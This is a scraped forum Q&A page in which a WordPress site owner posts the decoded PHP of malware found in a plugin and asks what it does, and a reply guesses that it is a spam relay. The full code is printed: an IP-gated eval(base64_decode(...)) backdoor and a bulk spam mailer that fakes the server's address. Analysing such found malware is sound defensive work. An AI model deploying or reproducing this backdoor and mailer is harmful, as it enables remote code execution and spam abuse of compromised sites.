PHP - Need help to understand injected code

Jimtrim

I discovered a lot of requests to a fishy file in a plugin on my Wordpress site. There, I found a long string, a mapping function for each character used in the string, and an excecution of the decoded string. This is the code the decoder outputs, any help in understanding what it does would be great!

<?php
if(isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
{
    eval(base64_decode($_POST["code"]));
    exit();
}

if (isset($_POST["type"]) && $_POST["type"]=="1")
{
    type1_send();
    exit();
}
elseif (isset($_POST["type"]) && $_POST["type"]=="2")
{

}
elseif (isset($_POST["type"]))
{
    echo $_POST["type"];
    exit();
}

error_404();

function is_good_ip($ip)
{
    $goods = Array("6.185.239.", "8.138.118.");

    foreach ($goods as $good)
    {
        if (strstr($ip, $good) != FALSE)
        {
            return TRUE;
        }
    }

    return FALSE;
}

function type1_send()
{
    if(!isset($_POST["emails"])
            OR !isset($_POST["themes"])
            OR !isset($_POST["messages"])
            OR !isset($_POST["froms"])
            OR !isset($_POST["mailers"])
    )
    {
        exit();
    }

    if(get_magic_quotes_gpc())
    {
        foreach($_POST as $key => $post)
        {
            $_POST[$key] = stripcslashes($post);
        }
    }

    $emails = @unserialize(base64_decode($_POST["emails"]));
    $themes = @unserialize(base64_decode($_POST["themes"]));
    $messages = @unserialize(base64_decode($_POST["messages"]));
    $froms = @unserialize(base64_decode($_POST["froms"]));
    $mailers = @unserialize(base64_decode($_POST["mailers"]));
    $aliases = @unserialize(base64_decode($_POST["aliases"]));
    $passes = @unserialize(base64_decode($_POST["passes"]));

    if(isset($_SERVER))
    {
        $_SERVER['PHP_SELF'] = "/";
        $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
        if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
            $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
        }
    }

    if(isset($_FILES))
    {
        foreach($_FILES as $key => $file)
        {
            $filename = alter_macros($aliases[$key]);
            $filename = num_macros($filename);
            $filename = text_macros($filename);
            $filename = xnum_macros($filename);
            $_FILES[$key]["name"] = $filename;
        }
    }

    if(empty($emails))
    {
        exit();
    }

    foreach ($emails as $fteil => $email)
    {
        $theme = $themes[array_rand($themes)];
        $theme = alter_macros($theme["theme"]);
        $theme = num_macros($theme);
        $theme = text_macros($theme);
        $theme = xnum_macros($theme);

        $message = $messages[array_rand($messages)];
        $message = alter_macros($message["message"]);
        $message = num_macros($message);
        $message = text_macros($message);
        $message = xnum_macros($message);
        //$message = pass_macros($message, $passes);
        $message = fteil_macros($message, $fteil);

        $from = $froms[array_rand($froms)];
        $from = alter_macros($from["from"]);
        $from = num_macros($from);
        $from = text_macros($from);
        $from = xnum_macros($from);

        if (strstr($from, "[CUSTOM]") == FALSE)
        {
            $from = from_host($from);
        }
        else
        {
            $from = str_replace("[CUSTOM]", "", $from);
        }

        $mailer = $mailers[array_rand($mailers)];

        send_mail($from, $email, $theme, $message, $mailer);
    }
}

function send_mail($from, $to, $subj, $text, $mailer)
{
    $head = "";

    $un = strtoupper(uniqid(time()));

    $head .= "From: $from\n";
    $head .= "X-Mailer: $mailer\n";
    $head .= "Reply-To: $from\n";

    $head .= "Mime-Version: 1.0\n";
    $head .= "Content-Type: multipart/alternative;";
    $head .= "boundary=\"----------".$un."\"\n\n";

    $plain = strip_tags($text);
    $zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
    $zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";

    $zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
    $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
    $zag .= "------------".$un."--";

    if(count($_FILES) > 0)
    {
        foreach($_FILES as $file)
        {
            if(file_exists($file["tmp_name"]))
            {
                $f = fopen($file["tmp_name"], "rb");
                $zag .= "------------".$un."\n";
                $zag .= "Content-Type: application/octet-stream;";
                $zag .= "name=\"".$file["name"]."\"\n";
                $zag .= "Content-Transfer-Encoding:base64\n";
                $zag .= "Content-Disposition:attachment;";
                $zag .= "filename=\"".$file["name"]."\"\n\n";
                $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
                fclose($f);
            }
        }
    }

    if(@mail($to, $subj, $zag, $head))
    {
        if(!empty($_POST['verbose']))
            echo "SENDED";
    }
    else
    {
        if(!empty($_POST['verbose']))
            echo "FAIL";
    }
}

function alter_macros($content)
{
    preg_match_all('#{(.*)}#Ui', $content, $matches);

    for($i = 0; $i < count($matches[1]); $i++)
    {

        $ns = explode("|", $matches[1][$i]);
        $c2 = count($ns);
        $rand = rand(0, ($c2 - 1));
        $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
    }
    return $content;
}

function text_macros($content)
{
    preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $word = generate_word($rand);

        $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
    }

    preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $count = $matches[1][$i];

        $word  = generate_word($count);

        $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
    }


    return $content;
}

function xnum_macros($content)
{
    preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $num = $matches[1][$i];
        $min = pow(10, $num - 1);
        $max = pow(10, $num) - 1;

        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function num_macros($content)
{
    preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function generate_word($length)
{
    $chars = 'abcdefghijklmnopqrstuvyxz';
    $numChars = strlen($chars);
    $string = '';
    for($i = 0; $i < $length; $i++)
    {
        $string .= substr($chars, rand(1, $numChars) - 1, 1);
    }
    return $string;
}

function pass_macros($content, $passes)
{
    $pass = array_pop($passes);

    return str_replace("[PASS]", $pass, $content);
}

function fteil_macros($content, $fteil)
{
    return str_replace("[FTEIL]", $fteil, $content);
}

function is_ip($str) {
  return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}

function from_host($content)
{

    $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);

    if (is_ip($host))
    {
        return $content;
    }

    $tokens = explode("@", $content);

    $content = $tokens[0] . "@" . $host . ">";

    return $content;
}

function error_404()
{
    header("HTTP/1.1 404 Not Found");

    $uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] );

    $content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
    $content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content );

    exit( $content );
}


function custom_http_request1($params)
{
    if( ! is_array($params) )
    {
        $params = array(
            'url' => $params,
            'method' => 'GET'
        );
    }

    if( $params['url']=='' ) return FALSE;

    if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET';
    $params['method'] = strtoupper($params['method']);
    if( ! in_array($params['method'], array('GET', 'POST')) ) return FALSE;

    /* Приводим ссылку в правильный вид */
    $url = parse_url($params['url']);
    if( ! isset($url['scheme']) ) $url['scheme'] = 'http';
    if( ! isset($url['path']) ) $url['path'] = '/';
    if( ! isset($url['host']) && isset($url['path']) )
    {
        if( strpos($url['path'], '/') )
        {
            $url['host'] = substr($url['path'], 0, strpos($url['path'], '/'));
            $url['path'] = substr($url['path'], strpos($url['path'], '/'));
        }
        else
        {
            $url['host'] = $url['path'];
            $url['path'] = '/';
        }
    }
    $url['path'] = preg_replace("/[\\/]+/", "/", $url['path']);
    if( isset($url['query']) ) $url['path'] .= "?{$url['query']}";

    $port = isset($params['port']) ? $params['port']
            : ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) );

    $timeout = isset($params['timeout']) ? $params['timeout'] : 30;
    if( ! isset($params['return']) ) $params['return'] = 'content';

    $scheme = $url['scheme']=='https' ? 'ssl://':'';
    $fp = @fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout);
    if( $fp )
    {
        /* Mozilla */
        if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";

        $request = "{$params['method']} {$url['path']} HTTP/1.0\r\n";
        $request .= "Host: {$url['host']}\r\n";
        $request .= "User-Agent: {$params['User-Agent']}"."\r\n";
        if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n";
        if( isset($params['cookie']) )
        {
            $cookie = "";
            if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);}
            else $cookie = $params['cookie'];
            if( $cookie!='' ) $request .= "Cookie: $cookie\r\n";
        }
        $request .= "Connection: close\r\n";
        if( $params['method']=='POST' )
        {
            if( isset($params['data']) && is_array($params['data']) )
            {
                foreach($params['data'] AS $k => $v)
                    $data .= urlencode($k).'='.urlencode($v).'&';
                if( substr($data, -1)=='&' ) $data = substr($data,0,-1);
            }
            $data .= "\r\n\r\n";

            $request .= "Content-type: application/x-www-form-urlencoded\r\n";
            $request .= "Content-length: ".strlen($data)."\r\n";
        }
        $request .= "\r\n";

        if( $params['method'] == 'POST' ) $request .= $data;

        @fwrite ($fp,$request); /* Send request */

        $res = ""; $headers = ""; $h_detected = false;
        while( !@feof($fp) )
        {
            $res .= @fread($fp, 1024); /* читаем контент */

            /* Проверка наличия загловков в контенте */
            if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE )
            {
                /* заголовки уже считаны - корректируем контент */
                $h_detected = true;

                $headers = substr($res, 0, strpos($res, "\r\n\r\n"));
                $res = substr($res, strpos($res, "\r\n\r\n")+4);

                /* Headers to Array */
                if( $params['return']=='headers' || $params['return']=='array'
                    || (isset($params['redirect']) && $params['redirect']==true) )
                {
                    $h = explode("\r\n", $headers);
                    $headers = array();
                    foreach( $h as $k=>$v )
                    {
                        if( strpos($v, ':') )
                        {
                            $k = substr($v, 0, strpos($v, ':'));
                            $v = trim(substr($v, strpos($v, ':')+1));
                        }
                        $headers[strtoupper($k)] = $v;
                    }
                }
                if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) )
                {
                    $params['url'] = $headers['LOCATION'];
                    if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0;
                    if( $params['redirect-count']<10 )
                    {
                        $params['redirect-count']++;
                        $func = __FUNCTION__;
                        return @is_object($this) ? $this->$func($params) : $func($params);
                    }
                }
                if( $params['return']=='headers' ) return $headers;
            }
        }

        @fclose($fp);
    }
    else return FALSE;/* $errstr.$errno; */

    if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res);

    return $res;
}

Edit: Apparently, I am doing something wrong with my question (2 instant downvotes). If you could tell me what I am doing wrong, I will try to correct it/remove my question.

tremor

This is a fun one, while I haven't a lot of time right now to look over the code I can give you some generalizations of common injections and attacks on websites, in particular a CMS like WordPress. Although this as a part of a plugin, may just be a malicious plugin and not an injection attack, or it may be a flaw or exploit in the plugin being used.

  1. Initial observation, the code comments in Russian stand out.

  2. This code looks like it might be for a spam relay. Taking messages and trying to leverage whatever sendmail you have setup. That's just a high level guess right now.

  3. Most attacks but not necessarily this one are generally geared and trying to deliver malware to visitors to the site, they usually use active-x or iframe tricks, I didn't see any of that here so it leads me to believe that #2 is more likely.

  4. This may also be trying to index all the content of your site/server that it can, and then send it out to the attacker so that they can sift the data looking for important information like config files and passwords.

I will do a deeper dive into this code when i'm not at work :) because I love this stuff. In the meantime you'll probably get a better response from the security stack pages than stack overflow or like I mentioned in my comment, check with the the hackers of http://hackthissite.org on this one. If this was an exploit, they might even be able to track down the author and the specific exploit. Generally code like this is used as part of a more generic tool that probes and attacks, a bot and is not the work of an actual person. You should also possibly share the name of the plugin, as it may be malicious or a known exploit may be published.

Either way, you need to perform a deep security screening on the site in question, and assume that you've been hacked, and take all the proper steps accordingly.

-- Edit --

This code block is interesting:

function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");
foreach ($goods as $good)
{
    if (strstr($ip, $good) != FALSE)
    {
        return TRUE;
    }
}
return FALSE;
}

One of those IP's resolve to Fort Huachuca Dod Network Information Center. I'm probably going to delete this answer now... (turns out this may not be an IP but a version number.. my paranoia got the best of me) - you should probably post this question here instead: https://security.stackexchange.com/ to avoid more downvotes.

Collected from the Internet

Please contact [email protected] to delete if infringement.

edited at
0

Comments

0 comments
Login to comment

Related

From Dev

Need help to understand code

From Dev

Need help to understand this code

From Dev

Need help to understand code in python

From Dev

Need Help to understand the piece of code

From Dev

Need help to understand code in python

From Dev

Need help to understand the code with pointers and arrays in c

From Dev

c# Need help to understand this code

From Dev

Advanced php formatting need help understand layout

From Dev

Need help to understand LISP

From Dev

Gradle: need help to understand

From Dev

Need some help trying to understand this code of matching for a graph

From Dev

Need help to understand this code to find the position of 1's in a given number

From Dev

I need help trying to understand this piece of code about structures and pointers

From Dev

Need help in optimizing laravel - php code

From Dev

Need help creating a php program that echoes code

From Dev

Need help to understand LPeg and PEGs

From Dev

Need help to understand the usage of `liftBase`

From Dev

Need some help to understand recursion

From Dev

Need help to understand LPeg and PEGs

From Dev

Need help to understand SQL query

From Dev

Need help to understand while loop

From Dev

I am new to php and I need help understanding this code

From Dev

need help in my php code getting wrong directory on breadcrumb

From Dev

Need help in solving the class not found error in PHP while refactoring the code

From Dev

please help to understand code below

From Dev

Need help to understand the purpose of a following class

From Dev

Perl print %hash - need some help to understand this

From Dev

lua script :need help to understand the scope of an variable

From Dev

Need help to understand a sentence in DSE Cassandra documentation -

Related Related

  1. 1

    Need help to understand code

  2. 2

    Need help to understand this code

  3. 3

    Need help to understand code in python

  4. 4

    Need Help to understand the piece of code

  5. 5

    Need help to understand code in python

  6. 6

    Need help to understand the code with pointers and arrays in c

  7. 7

    c# Need help to understand this code

  8. 8

    Advanced php formatting need help understand layout

  9. 9

    Need help to understand LISP

  10. 10

    Gradle: need help to understand

  11. 11

    Need some help trying to understand this code of matching for a graph

  12. 12

    Need help to understand this code to find the position of 1's in a given number

  13. 13

    I need help trying to understand this piece of code about structures and pointers

  14. 14

    Need help in optimizing laravel - php code

  15. 15

    Need help creating a php program that echoes code

  16. 16

    Need help to understand LPeg and PEGs

  17. 17

    Need help to understand the usage of `liftBase`

  18. 18

    Need some help to understand recursion

  19. 19

    Need help to understand LPeg and PEGs

  20. 20

    Need help to understand SQL query

  21. 21

    Need help to understand while loop

  22. 22

    I am new to php and I need help understanding this code

  23. 23

    need help in my php code getting wrong directory on breadcrumb

  24. 24

    Need help in solving the class not found error in PHP while refactoring the code

  25. 25

    please help to understand code below

  26. 26

    Need help to understand the purpose of a following class

  27. 27

    Perl print %hash - need some help to understand this

  28. 28

    lua script :need help to understand the scope of an variable

  29. 29

    Need help to understand a sentence in DSE Cassandra documentation -

HotTag

Archive